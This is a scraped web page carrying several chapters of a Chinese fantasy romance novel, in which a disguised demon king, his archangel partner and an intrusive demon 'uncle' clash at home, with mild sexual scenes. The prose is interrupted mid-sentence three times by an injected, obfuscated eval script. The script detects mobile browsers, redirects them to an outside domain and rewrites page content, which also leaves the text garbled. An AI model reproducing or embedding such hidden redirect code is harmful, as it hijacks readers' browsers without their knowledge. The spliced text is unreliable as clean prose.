阿瑞斯最后还是没能拉得住撒尔,毕竟他虽然实力不怎么样,但的确是魔界历代魔王中,最狡猾最擅长于逃跑的一个。 还是出了名的没皮没脸,真把他逼急了,还说不准会做出什么狗急跳墙(?)的事情来。 撒尔那道看上去就十分欠揍的身影已经消失在了眼前,阿瑞斯没有纠结太久,很快就从追上去和留下来之间,选择了第二个。 毕竟相比起和曾经欺负过自己的老家伙叙旧什么的事情,还是和自己俊朗的人类伴侣度过他的最后半天假期更有价值一些。 恰好现在已经下了课,阿瑞斯假装看不见周围那些好奇和调侃的目光,胡乱地将桌上的书本画板之类的东西全部放回包里,准备赶紧去找自己辛苦工作的伴侣。 结果还没等他将所有的东西都收拾好,面前就停留下来一双熟悉的棕色皮鞋。 修长紧致的小腿包裹在款式简单的西装裤下面。 来人将被魔王遗忘的,滚到了桌角的画笔拿起来,然后自然而然地放到了他自己的衬衫口袋里。 “啊,捡到一支笔。”天使长大人手指骨节分明,划过胸前的口袋时,无名指上的银色指环熠熠生辉,他俏皮又慵懒地对着自己的年轻爱人眨了眨眼:“现在是我的了。” 阿瑞斯本来因为撒尔的出现而有些烦躁的心情,在此时重新雀跃起来,他当然不会在意什么画笔,矜持又难掩兴奋地向着伴侣伸出手:“塞西。” 多年的默契已经让亚德西莫甚至不用思考,就能在阿瑞斯伸出手来的同时,将那只白皙的手握住。 两人并排着往教室外走。 魔王陛下的包不知道在什么时候,已经到了塞西老师的手中。 天使长大人的课本也被阿瑞斯随手抱在怀里,并且口腔里还多了一颗蓝莓味的糖果。 “宝贝,我刚刚好像看到你旁边坐了一个人。”亚德西莫一手牵着伴侣,一手提着包,语气温和而随意,好像只是无意中聊到一个无足轻重的话题:“他有些脸生,当然也许是我看错了。” 但这个话题,却显然让魔王陛下有些心虚。 还差点一口咬到了舌头。 “嗯,你应该没有看错,”阿瑞斯每次撒谎都很明显,虽然光从表面上看还是平时那副矜贵冷静的模样,但时不时乱晃的眸子却暴露了他的紧张:“你还用粉笔砸了他的脑袋。” 亚德西莫唔了一声,循循善诱:“原来是这样……所以,阿瑞斯认识他吗,我看你们好像关系十分亲近的样子。” 他温柔地开口:“是阿瑞斯的好朋友吗?” 如果是巴奈在这里,这句话落下的同时,他脑中的警铃声也会立刻响了起来。 这语气,这眼神,这满满的醋味,一看就是某个大龄已婚男性天使要扭曲的前兆。 而亚德西莫的扭曲发疯从来舍不得对着他的宝贝伴侣,而是会面向无辜善良的天使下属们,这就意味着接下来的至少一个星期,他们会在尊贵强大英俊温柔的天使长大人,如春风般和煦又比刺猬还扎人的阴阳怪气矫揉造作中度过。 这么多年过去,天使们捉拿魔族的本领有没有长进先不说,至少在处理天使长大人的家长里短上面,已经很有一套了。 每次都能在危机即将到来前,力挽狂澜地将它们扼杀在摇篮中。 但是可惜,最擅长处理此种危机的巴奈并不在场。 在这里的,只有一只钝感力十足的魔王。 阿瑞斯试图糊弄过去:“也不算吧,就是认识而已。” 亚德西莫的步子依旧平稳而从容,但放到提包上的手指却悄然攥紧。 他可爱的伴侣的确是不擅长于说谎,明显地至少不想在此刻继续深入讨论这个话题,但又似乎不愿意欺骗,在自己的发问下,整个人都显得精神紧绷。 尽管已经在努力维持自己自然的表情,但微微绷起来的下颌角还是显露了年轻人的情绪。 算了。 天使长很快就心软了,没有放任自己心中的负面情绪滋长,而是捏了捏伴侣的手指,随着他的意愿揭过这个话题,温和地说:“明白了,那么甜心,晚上想要吃什么?” 阿瑞斯悄悄松口气,为塞西没有继续问而感到庆幸,但又有些懊悔和愧疚。 魔王最讨厌欺骗,胆敢恶意欺骗他的人,最后会被狠狠报复回去。 但这种连自己都厌恶的事情,他却对一无所知的人类爱人做了将近十年。 因为歉意,望着伴侣那双总是温柔含笑的蓝色眸子时,阿瑞斯都忍不住心跳加快了几分,攥紧了他的手,抿住唇轻声回答:“都可以,你定就好。” 闻言,亚德西莫垂下眼,脚步不停,面上的表情也没有太大的变化,语气自然欢快:“嗯唔,那让我想想……地瓜丝和胡萝卜?” 魔王陛下纠纠结结地皱着眉,但最后还是缓慢点头:“……可以。” 亚德西莫快要压不住唇角的笑了,继续逗弄着自己的可爱伴侣:“啊,如果地瓜都可以的话,我猜阿瑞斯应该也不会拒绝蕨菜吧。” 阿瑞斯漂亮矜贵的眉眼已经完完全全地皱了起来,明明是全身都在抗拒这些让魔不喜的食物,但最后还是闷闷地憋出来一句:“塞西决定就好。” 天使长大人于是一锤定音,愉悦地说:“那就吃蕨菜烤胡萝卜吐司吧,再来一个地瓜冰淇淋。” “塞西!” 魔王的耳根红了一截,和略显苍白的周围皮肤对比起来,分外明显。 在伴侣戏谑的注视下,阿瑞斯终于慢半拍地反应了过来。 然后就恼羞成怒地一把将塞西老师的课本丢回到他的怀里:“你戏弄我。” 亚德西莫当然没有真的想要将人惹恼的意思,非常熟练地在阿瑞斯丢课本的时候,优雅而精准地牵住伴侣的手,还能换只手顺便接住无辜的课本。 “骗你的,宝贝。”天使长在说情话方面实在是很有天赋,声音都像是浸了蜜糖,还带了点容易让魔王心软的委屈:“我们小宝石想吃什么就吃什么,想和谁做朋友就做朋友,我当然只能夫唱夫随。” “你怎么也跟着那群小朋友乱叫,没个正经。”魔王陛下不好意思地揉了下耳朵,移开视线,声音也小了下来。 阿瑞斯第一次听到这个称呼时,差点不顾塞西老师的阻拦,红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587143|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着脸提着刀去霍尔莫德斯暗杀,这么多年来也还是没能适应。 作为非魔法性质的理论课,就算再抢手,塞西老师也不会被安排太多的课程,整个下午也就只有那么两三节。 而诺曼堡的春天,天黑得很早,上完课往外走时,正好能看到远处垂落的橘色夕阳。 “塞西,我们晚上去广场喂鸽子好吗,”阿瑞斯还是惦记着自己没有履行完毕的假期计划清单:“然后去吃广场最近的那家芝士烩面。” “嗯,听上去很不错,亲爱的。”亚德西莫也仍然不忘自己天天琢磨着的床上日程安排:“最后再一起躺在温暖的沙发、床头、阳台、浴室还有书房里做-爱。” 阿瑞斯被伴侣的坦率和直白弄得差点维持不住自己的稳重外表,隔了好半天才倔强地挺着白皙修长的颈脖,小声反驳:“不要阳台。” 他担心晒到月亮后,自己会一激动就变大变小变出尾巴和犄角。 天使长大人仍然语气温文尔雅,但却能听出其中隐隐的遗憾:“没关系,其他地方也很好。” 春季的傍晚,没有下雨的晴天,有白鸽停留的湖畔。 回家的路并不算长,阿瑞斯却觉得自己的心脏已然被温馨所填满。 怪不得人类只用活那么一点点的时间,就能拥有那么丰富的情感。 这种平稳简单的幸福,的确是其他种族所欠缺的。 而阿瑞斯,却幸运地在此刻获得了它。 —— 如果没有在推开门的时候,看到那只大大咧咧坐在沙发上的可恶黑发魔族的话,这种幸福感或许会持续更长的时间。 “撒、尔!” 拥有一头黑色(伪装)长发的男人,正毫不见外地在别人家的客厅中给自己扎辫子。 显然他的技术并不怎么样,让柔顺的发丝都翘了起来,麻花辫的形状也歪七扭八的,碎发毛炸炸地从红色头绳中蹦出来。 一边扎,一边安静地藏在黑暗里面,栗色眸子饶有兴趣地落到这对刚刚回家连灯都等不及开,就一边亲一边抱着往客厅里走的小情侣身上。 直到魔王的背脊撞到了墙壁上的壁灯开关,昏黄的光线笼罩在了客厅,才发现了某名在暗中“窥视”的变态。 “你有病吧。”阿瑞斯咬牙怒视坐在沙发上的魔,脸被气得发烫,简直不敢相信自己的眼睛:“你怎么会在这里!” 撒尔很满意年轻魔王被自己吓到睁大眼的样子,心情非常好:“当然是特意来找你的,亲爱的阿瑞斯。” 他又故意对着客厅中的金发青年挑了下眉,舔了舔下唇,语气刻意而缠绵:“塞西老师对吧,你想知道我和小阿瑞斯是什么关系吗~” 在刚才,亚德西莫的领口已经被扯开了一半,正眯着眼轻轻喘息,甚至腿都已经忍不住磨蹭了上去,结果灯一亮就在家里和一个满脸微笑的陌生人对视上。 哪怕是天使长大人都很难在这种情况下,维持住良好的形象。 蔚蓝色的眸子甚至染上了烦躁。 于是,亚德西莫居高临下地这名男人,干净利落地开口:“滚出去。” 撒尔:“……” 15. “蠢货,闭嘴。” 事情到底是怎么会变成这样的。 阿瑞斯坐在沙发的一角,另一边是讨人厌的可恶撒尔,而他的伴侣正皱着眉站在他们的正对面。 撒尔悠悠然地撑着头大放厥词:“我要住在这儿,小阿瑞斯都同意了的。” 亚德西莫抱着胳膊,表情冷淡,落到撒尔身上的视线,和寒冬里面的井水没有什么两样,他抿着唇不说话,不知道在想什么。 屋里面的气氛太过凝滞紧张,让魔王都忍不住坐直了身体,不由自主地垂下脑袋随时准备面对来自伴侣的质问,毕竟这种随便留男人住宿的行为的确是不太值得提倡…… 等等,自己明明从来就没有要留撒尔下来的意思! 阿瑞斯终于反应过来,猛地抬起头站起身,凶狠地盯着这只口出狂言的魔,一字一顿地反驳:“你不要污蔑,我从来都没有同意过!” “但是你给了我进门的钥匙。”撒尔弯着眉眼晃了晃手中的小钥匙,在他的另一只手上,镶着蓝色水晶的小镜子在灯吊灯下反射着细光:“难道不是邀请我住进来吗?” “那明明就是……” 就是他偷的,连同着自己的镜子一起。 但阿瑞斯说到一半却停了下来。 如果这样说的话,那塞西肯定就会对他们的关系起疑心。 而后面如果想靠着撒尔帮着自己消耗魔力,的确是有一个正当合适的关系比较好,不能真的一点后路都不留。 魔王好久都没有那么憋屈过了,硬生生地将没有说出口的斥责吞回去,咬着牙点头:“……是我给的。” 亚德西莫看了伴侣一眼,没有说什么,只是靠近一些,轻轻地握住了伴侣的手,无声安抚着他的情绪。 阿瑞斯本来就有些慌乱和无措,害怕会惹得伴侣的怀疑,天使长的这个动作,虽然简单却令他紧绷着的心脏略微放松了下来。 “你今天晚上可以暂时住在这里,但是找到房子后就必须搬走。”这已经是阿瑞斯的底线了,他纠结了半天还是说不出那句话,脸颊因为情绪激而浮上一层浅红色:“哪怕、哪怕你是我的……” 撒尔很不要脸地优雅补充:“舅舅。” “很高兴你终于承认这件事实,我亲爱的阿瑞斯外甥,”这些老家伙们总是热衷于在口头上占一点年轻魔王的便宜,他拍了拍外袍站起身,勾着唇愉悦地四处打量:“所以我的房间在哪里?” “可爱的阿瑞斯终于下定决定,收留他无家可归流落他乡的美丽动人小舅舅,真是不错,”他完全没有发现自己不被欢迎,兴奋地转了一圈后,还试图往主卧的方向走:“噢对了,我喜欢这个房间。” 阿瑞斯:“……” 要不是担心撒尔乱讲话暴露了自己的身份,阿瑞斯才不会在塞西面前承认有这个“亲戚”。 在魔王陛下被气得甩尾巴前,天使长温柔地挠了挠他的手心,然后伸出手拦住了这位莫名其妙不请自入的亲戚,语气温和而真诚:“抱歉,家里的房间有限,一楼和二楼恐怕都没有位置给你了。” 不知道为什么,撒尔一见到这名金头发白衣服的人类就十分讨厌,怎么看都不顺眼。 再加上白天才刚刚被他用粉笔砸了脑袋,让小心眼且好面子的前前前任魔王更加不满,挑着眉梢阳阳怪气:“我看倒是有不少空房间,塞西老师不会是不想让我住下来吧。” “唉我明白,有些大男子主义的人是这样的,对伴侣家来借住的可怜亲戚总是那么嫌弃……” 阿瑞斯趁着他说话的时候,将自己的钥匙又重新抢了回来。 现任魔王扬扬下巴,完全地和伴侣站在同一个阵营上,哦了一声说:“那你出去?” 撒尔:“……” 亚德西莫虽然很享受来自伴侣的维护,但也能看得出来阿瑞斯并没有他表现得那样讨厌这名叫撒尔的男人。 阿瑞斯很害怕自己会真的将撒尔赶出去,也很担心自己会和他起冲突,甚至下意识地站在了他们两人的中间,肩膀紧绷着,试图隔绝开两个人。 这种害怕非常不明显,还被努力地隐藏在了矜贵稳重的外表下,也只有和魔王同床共枕了那么多年的天使长大人能识别出来。 亚德西莫的心中思绪复杂,望向撒尔的眸子却依旧平静:“反正就是不行。” 还以为他会说出来什么花里胡哨的虚伪借口的撒尔:“……啊。” 天使也并不是没有脾气的,更何况亚德西莫本身就不是什么善良大方的性格,他懒得给这名厚脸皮的远房亲戚找什么理由,声音看似温和实则锐利:“阁楼和地下室,选一个吧。” 撒尔从来没有被人这样敷衍的态度打发过,气得差点维持不住用于伪装的魔力,脸色一沉,声音几乎像是硬挤出来的:“你什么意思?” 亚德西莫轻笑着重复:“阁楼,还是地下室?” 撒尔的太阳穴突突地跳,魔族本来就容易情绪爆炸,再加上他刚刚又因为扎不好辫子而心情烦躁,亚德西莫的这句话一出,让他的脸色完全沉下来,隐隐的暗色出现在眼底。 黑色长发的魔上前来一步,注视着面前这名面容平静悠然慵懒的“人类”,栗色瞳孔缓慢收缩:“你这个该死的……” 他的话还没有说话,阿瑞斯就连忙用力地一脚踩到了他的脚背上,另一只手还毫不留情地扯住了他背后的长发,帮他作回答:“塞西,撒尔说他想要住阁楼!” 痛得撒尔收缩着的眸子又恢复了正常,他痛呼了一声后生气地转向了旁边:“阿瑞斯!” 然后就和魔王已经完全冰冷下来的紫色眸子对视上。 撒尔恼怒的表情僵住。 阿瑞斯背对着伴侣,他知道这个角度塞西是看不见他的表情的,便不再掩饰,专属于魔王的压制力从他和撒尔相接触的手掌中传出,沿着黑发魔族的肩膀蔓延到了他的全身。 “蠢货,闭嘴。” 年轻魔王已然染上了怒气的声音在撒尔的脑海中响起来,每一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587144|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字都好像是一个恐怖汹涌的黑洞,狠狠地冲着自己压下来。 巨大的危机感升上心头,如果是全盛时期的撒尔或许还能够勉强稳住,但是现在的撒尔已经不是曾经强大的魔族之王,而是一只失败了的深渊囚徒。 阿瑞斯是真的能够轻易弄死自己,不仅是现在的分身,还包括深渊中的本体,只要他愿意。 撒尔再一次清晰地认识到了这个事实,身体本能产生恐慌的同时,也觉得心情复杂。 过了一会儿,那股压迫感慢慢弱了下去,撒尔才终于找回自己的呼吸。 “行,我住阁楼。”他勉强露出一个笑容来,艳丽的红唇被自己咬出几个明显的印子,语气听不出来好坏:“看来我们阿瑞斯真的是长大了。” 不被欢迎的客人拎着自己为数不多的行李去了阁楼,阿瑞斯一直盯着他的身影消失在了楼梯口,才如释重负地长舒一口气。 然后一回头,就和似笑非笑若有所思的伴侣对视上。 魔王陛下又有点紧张了,纤长的手指不自觉攥紧:“塞西……” 可下一秒就被揽住了腰,属于塞西老师的,温热、湿润、黏糊的呼吸贴到了后颈处。 “怎么办,阿瑞斯。”天使长刚才稳重的形象在一瞬间就崩了个干净,声音又可怜又缠人:“他浪费了我们整整一个小时。” 才关上了门的阁楼,立刻就传出来了刻意制造的乒乒乓乓声。 亚德西莫根本不在意无能狂怒的无聊亲戚,继续轻轻蹭着伴侣的侧脸,蔚蓝色的眸子垂落下来:“你要赔给我。” 阿瑞斯能说什么呢,阿瑞斯只能说红着脸一本正经地说好的。 空气慢慢变得滚烫,连喘息都显得粗重,每一点触碰都显得缠绵。 魔王陛下很快就在伴侣熟练的动作下变得兴奋起来,手指夸奖般地陷入了天使长大人的金发里面,在他看不见的地方,如紫罗兰般的清透眸子舒服地半眯着:“塞西……” 年轻的魔总是容易深陷在情-欲中,成熟的天使也不见得有多少自制力。 亚德西莫早就过了薄脸皮的幼年时期了,现在的天使长坦率而热情,不管是喜欢还是舒服,都不会假正经地憋在喉咙里面,而是大大方方坦坦荡荡地露出来,向自己的伴侣表达欢喜。 “阿瑞斯……啊,甜心,宝贝……” 沉默了一段时间的阁楼终于在此时,忍无可忍地传出一道隐隐夹杂着脏话的骂声:“你们俩就不能回房间去搞吗!” 阿瑞斯很显然被撒尔突然传出来的声音吓了一跳,一慌张差点又把计生用品弄破。 “唔。”亚德西莫轻轻喘了一下,搂过伴侣的脖子,抚过他泛红的耳垂,笑着说:“放心,阁楼看不到这里。” 最多只能听到声音而已。 这也是亚德西莫一定要撒尔住到阁楼或者地下室的原因。 “不管他。”注视着阿瑞斯紧张又有些兴奋的眸子,天使长舔了舔嘴角:“我们继续。” 16. 他从深渊中诞生 亚德西莫在课堂上第一次看到坐在阿瑞斯旁边的撒尔,就知道这人和自家小伴侣的关系肯定不一般。 虽然“舅舅”的身份仍然存疑,但至少不是普通的朋友或者简单认识的关系。 甚至拥有着某种建立在自己和阿瑞斯认识之前的,更复杂微妙,且伴侣并不愿意让自己知晓的情感。 每想到这一点,天使长就忍不住心头发堵。 心一堵就容易浑身带刺阴阳怪气。 “巴奈,我应该说过很多次,不要在人界露出翅膀。”金色长发的天使半靠在沙发上,掀开眼皮在房间里面扫了一圈,最后落到了最角落里的四翼天使上。 天使的语气很平静,还隐隐带着笑,但就是令人后背发凉:“那么喜欢晃翅膀的话,需要我帮忙把你倒挂到窗外吗,刚好可以晃个够。” 巴奈没想到自己都躲到最角落了,还是被刻薄的上司逮到了挑刺的机会。 他想也不想地就迅速将翅膀收了起来,但凡慢一秒,都是对天使长大人的执行力的不信任。 毕竟这只可怕强大的六翼天使是真干得出把下属挂到窗外的变态事情来。 特别是在这种他本来就心情不美好的时候。 “哎呀,看来小阿瑞斯的那个亲戚,还赖着没有走呢。”埃莉诺今天罕见地穿了一身方便行动的短裙,浅色的裙摆上被沾染上了点血迹,她狡黠地眨眨眼:“真是麻烦,要不然我们本来可以去天使长大人的家里聚餐的。” 而不是呆在有严肃的惩戒天使监视着的霍尔莫德斯。 “亚德西莫大人,您身上的伤没有问题,但是我的净化能力已经对您的精神污染没有太多作用了,”站在亚德西莫旁边的治愈系天使伊斯顿手心的圣光淡下去,他退后一步皱着眉直接说:“您是时候回一趟神池了。” 天使们在人界的任务除了寻找某只连影子也找不到的新任魔王之外,还兼顾着帮助骑士殿消除游荡在人界的魔族的工作。 魔族是个极难控制的种族,他们只信奉强者。 是魔王忠诚的信徒,也是最后的暴徒。 一旦曾经的王已经不再有足够强大的实力,或者新的王已然诞生,他们就会毫不犹豫地背弃掉曾经的誓言,转而拥护新的魔王。 这种将信任建立在武力上的种族,从根本上就决定了他们生来骄纵难驯,且充满了危险。 再加上魔族生来便拥有难以自控的强大魔力,如果不加以约束,放任他们自由地进入其他弱小种族的生存地,多半会发生无数血腥可怕的惨案。 骑士殿就是因此而建立,天使的守护也是为此。 自从最后一次地界划分战役后,魔族下半城进一步缩圈,进入了长久的和平期。 和平期内,各个种族之间的交流越发频繁,人界如今随处可见非人类的存在,甚至还有少量的通过正规途径进入人界的魔族。 他们大多是实力不强,性格相对温和,不具有强攻击性但智力水平较高的魔。 得到魔界和人界两方的共同允许下,小心地踏进这片区域,开始进行正常的生活工作,以及学习。 随着这一类的魔在人界的数量慢慢增多,各种矛盾也不断爆发。 一方面魔族的生理特征决定了他们在自控上天生更加艰难,另一方面仍有不少心怀不轨的魔族借此机会偷偷违规入界,导致时不时地就会出现争端矛盾。 但很长一段时间里面,这些矛盾也都是小吵小闹,或许是因为地界划分后魔族就进入了休养生息的状态中,几乎没有怎么发生过大规模流血事件。 直到那名新上任的年轻魔王出现。 他从深渊中诞生,跨过天使们划下的神圣边界,抬手间便突破了长达千百年的束缚,进入到人界中来。 亚德西莫望向门口处,那里正挂着一个蓝色的漂亮风铃,随着轻柔的风发出清脆的响动声。 他最后还是摇摇头:“再等等,诺曼堡周边的魔族躁动得很不同寻常,我不能走。” 更何况……蔚蓝色的眸子中出现一抹冷色,亚德西莫抿住唇说:“那名叫撒尔的人类太过奇怪,我不放心阿瑞斯和他呆在一起。” 天使们刚刚才绞杀了几只因为陷入暴躁状态而无差别攻击的魔族,虽然不至于精神感染,但还是都聚在一起让伊斯顿挨个净化。 菲尔正被伊斯顿摁住胳膊检查翅膀,听到这句话,就努力地回过头去点头附和:“我也觉得!他一看就不是好人!” 总是急急燥燥动来动去的年轻天使,被治愈系的同伴不满地用圣光烫了一下。 “嗷!伊斯顿!” 但伊斯顿收回圣光后,却也看向亚德西莫,迟疑着说:“天使长大人,那个撒尔……” 埃莉诺打了个响指,挑起美目优雅补充道:“他的确看上去就让天使很讨厌。” —— 而在此时,让天使讨厌的撒尔本魔也正在说着同样的话。 “尊贵的魔王陛下,您真的不觉得您那位有着金灿灿头发的人类伴侣,以及他那些同样金灿灿的邻居们,有点奇怪吗。”撒尔站在魔王身后,非常有心机地说着其他人的坏话:“真的,他们长得真让魔心烦。” 阿瑞斯正兴致勃勃地在书房里面画图,一边画还一边将画纸举到眼前,和骨节分明的手指放在一起比划。 听到撒尔的话,魔王头也不回:“你如果实在闲得慌的话,不如去街上打个零工,撒尔。” 撒尔嗤笑一声,打了个哈切半眯着眼懒懒散散地说:“强大尊贵的魔族,当然是不可能为那弱小愚蠢的人类工作的。” 阿瑞斯最开始也是这样的想法,但是…… “所以你有钱付房租了吗,”阿瑞斯放下笔,摊开画纸,满意地欣赏着自己的作品:“还有三餐钱,买漂亮衣服的钱,你有吗?” 撒尔:“……” 因为此时没有其他人在,所以撒尔没有隐藏自己的外形,红色的眸子里面闪过迷茫,但依旧下意识狡辩:“哈,我们魔族可不需要……” 咽口水的声音响起来,在不算大的书房中分外明显。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587145|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔王陛下刚刚打开了伴侣上班前给自己留下的小蛋糕,用勺子挖着小口小口地吃起来,如紫罗兰般的眸子愉悦满足地弯起来,腮帮子一鼓一鼓的,他好奇般轻轻歪了点头:“不需要什么?” “……” 好吧,魔王的确是狠狠地拿捏住了每只魔族的天性。 撒尔艰难地将目光从那块看上去就十分香甜的蛋糕上移开,冷哼一声:“你真残忍,小阿瑞斯,一点都不可爱。” 阿瑞斯又咬了一口蛋糕,弯着眉眼无情地说:“嗯,反正你今天也只有胡萝卜吃。” …… “我万分肯定,你已经跟着那些愚蠢肮脏虚伪的人类学坏了,阿瑞斯。”这句话让面前的白色长发的魔族一瞬间就炸了毛,整只魔都透露着抗拒和恼怒,连说话的语速都加快了不少:“真的,魔王陛下,你一定是被勾引蛊惑了,你以前不是这样的,还记得我们在深渊的时候,我们……” 他不提还好,一提阿瑞斯就想到了自己尚且不具有足够反抗能力的幼崽时期,被这些深渊坏魔们欺负的可怜时光,清透高贵的紫色眸子望过去,语气带了点羞恼:“继续说啊,深渊怎么了。” 撒尔从善如流地转了个话题,红润的唇勾起来,眨眨眼:“所以我能不吃胡萝卜吧,可爱的魔王陛下。” 阿瑞斯扬了扬下巴:“不行。” 魔王最讨厌被人说‘可爱’。 “除非你赚到足够的银币。” 想要伪装人类就必须要正常摄入食物,但在魔王陛下的家里,没有钱付房租的魔,只有吃胡萝卜的权利。 “真让人难过,您实在太无情了。”撒尔总是很善于伪装,这也是他虽然实力并没有那么强,但却是深渊所有历任魔王中在王座上呆的时间最长的一个的原因:“让魔做这样困难的事情……” 阿瑞斯将桌上的雾霾蓝宝石小心收起来,嗯嗯唔唔地敷衍着,表情矜贵又无辜:“啊,所以撒尔的意思是你连一个银币也赚不到吗?” “……你在用激将法。”撒尔简直不敢相信,也就来了人界十年,可爱单纯的阿瑞斯就变成了这样。 “不,”魔王将图纸也仔细放到了袋子里面,走出书房打开大门,阳光从外面倾斜下来,将他有些苍白的皮肤照亮,隐隐能看到其上强大危险的魔纹在涌动着,阿瑞斯平静地开口:“我在威胁你。” —— 整天窝在房间里面不干活的撒尔终于咬着牙出了门,阿瑞斯在他身上留下了自己的印记,可以确保他不敢做出一些难以控制的事情来。 年轻的魔王这才呼出口气,谨慎地关上门,走进了熟悉的浴室,站在玻璃镜前。 阿瑞斯这一次连镜面都没有敲,抿住唇直接喊:“弗尔伊德。” 水纹慢慢扩散,红色长发的魔族出现在镜面中,他注视着面前这名怎么看都心情不佳的魔王,先一步地单膝下跪,做出一个臣服的姿势:“我的王,抱歉,请您责罚我。” 一口气憋在了心里发不出来的阿瑞斯:“……你能不能等我骂完再跪。” 17. 那你滚远点死。 水镜对面的下属跪得太快,认错态度又过于良好,让阿瑞斯想挑刺都找不到机会,本来要出口的斥责也硬生生地堵回了喉咙里面。 于是魔王的心情更不好了。 修长的手指烦躁地一下下敲打在镜子的边缘,阿瑞斯抿住唇,气压有些低:“你们在从深渊挑选合适的魔的时候,没有考虑过他的领域到底有没有问题吗?” 撒尔的领域根本就不能正常展开,阿瑞斯第一次尝试进入他的领域时就发现了这个问题,里面空荡荡的一片,不仅起不到压制魔力的作用,甚至还随时有崩塌的风险。 以阿瑞斯这样的魔力庞大程度,在进入的一瞬间就会将它撑破。 但撒尔好不容易才从深渊中出来,请神容易送神难,恐怕是没有那么容易将这只狡猾的前前前任魔王送回去。 这些下属,是真的不远万里地给阿瑞斯送了个祖宗过来。 弗尔伊德脸色不太好看,愧疚地缓慢摇头:“是我的疏忽,给您带来了那么大的麻烦。” 阿瑞斯没有像之前几次交流那样好说话,紫色的眸子注视着镜子里的下属:“的确是很大的麻烦,弗尔伊德。” 这一次的魔力消耗计划,从表面上看,似乎是弗尔伊德等魔背着阿瑞斯擅自决定的,但事实上,如果没有魔王的默许,他们不可能真的敢将那群深渊中的老家伙们唤醒,还挨个带到了人界来。 毕竟只要阿瑞斯愿意,他甚至可以直接穿过人界的介质,以分身驾临到魔界来,这些明面上风光强大的高等级魔族,就算是联起手来也不能在魔王手上撑过五分钟。 什么深渊,什么不靠谱的计划,全部都会被压制在魔王的怒火和实力之下。 撒尔能够成功来到人界,甚至弗尔伊德和莉莉安能有机会对着阿瑞斯说出“魔力消耗”这个提议,归根结底都是阿瑞斯的纵容和默许。 是来自魔王陛下的信任。 听到这句话后,红发魔族的脸色更加难看苍白了,甚至有一种快要晕厥过去的感觉。 阿瑞斯看了他几秒,烦恼地捂住了额头,叹了口气后说:“算了,撒尔已经来了,还是想想怎么补救吧……” 弗尔伊德紧紧抿着唇,手指一颤,猛地从腰间掏出一把锋利的短刀来:“您说得对,请允许我用生命来减轻我的罪恶。” 阿瑞斯:“?” 自己明明就不是这个意思啊! 魔王自己也不知道是怎么回事,手底下的下属们一个比一个的不靠谱还扭曲变态,眼看着弗尔伊德真的要给自己胸口来上一刀,连忙伸出手轻轻触碰了下水镜。 手指尖和光滑镜面相接触的瞬间,强大汹涌的魔力瞬间汇聚在接触点伤,以极快的速度穿透镜面,仿佛一道迅疾的紫色雷电一样从魔界的上空降落,精准地击中了弗尔伊德手上的短刀。 坚硬锋利的武器顷刻间化为灰烬,巨大的冲击力使得半跪着的红发魔族握住短刃的手臂甚至整个身体都被弹开,狼狈地重重摔落在荒地上。 魔王对于魔力的把控能力已经算是顶尖水准了,但因为这股力量实在太过庞大,又是从人界直直穿梭过来的,锐利的气流不可避免地在弗尔伊德的脸上留下了一道浸出血来的划痕。 红色长发的魔族右臂颤动着,显然已经是暂时无法抬起了。 但他的状态却十分亢奋,俊朗的脸上带着满满的崇敬,他深深地捂住自己的胸口:“我的王,感谢您的馈赠。” 阿瑞斯:“……” 真的有病。 本来所有下属中,弗尔伊德勉强称得上一句靠谱,但是最近几年来,他的精神状态也越来越令魔担忧了。 但好歹被揍了一顿又莫名其妙兴奋了一阵后,在阿瑞斯平静冷淡的注视下,弗尔伊德终于慢慢地恢复了正常交流的能力。 “撒尔大人的领域的确有问题,”他艰难地爬起来,顶着魔王陛下不太高兴的视线,轻声答复:“但他目前是唯一一个能够从深渊里出来的魔。” 深渊进去容易出来难,特别是对于作为“失败者”被迫进入的历任魔王们,这些老家伙统共也就集体出来过一次——在阿瑞斯走出深渊,挑战现任老魔王的时候。 然后一天不到,为非作歹的计划才刚开始,就被阿瑞斯挨个踹回了深渊。 所以对于他们来说,如果能有出深渊的机会,估计没有一场腥风血雨的争夺,不会那么简单地决出人选。 但撒尔怎么看都不像是才打过架的样子,阿瑞斯是不相信那些狡猾的“魔王”真的会那么大方善良地让出第一个名额。 除非他们的的确确是没有离开的办法。 阿瑞斯倒是没有怀疑下属是在撒谎,但他这几天魔力紊乱的迹象越来越明显,与魔界沟通的工具时好时坏,家里还有个整天看热闹添麻烦的撒尔,实在是令魔烦躁。 “所以呢,”不知道为什么,阿瑞斯看着面前的水镜,总有一种不好的预感,不自觉地就加快了语速:“你接着说。” “但是撒尔大人说,来到人界后,他自会有恢复领域的方法,所以……” 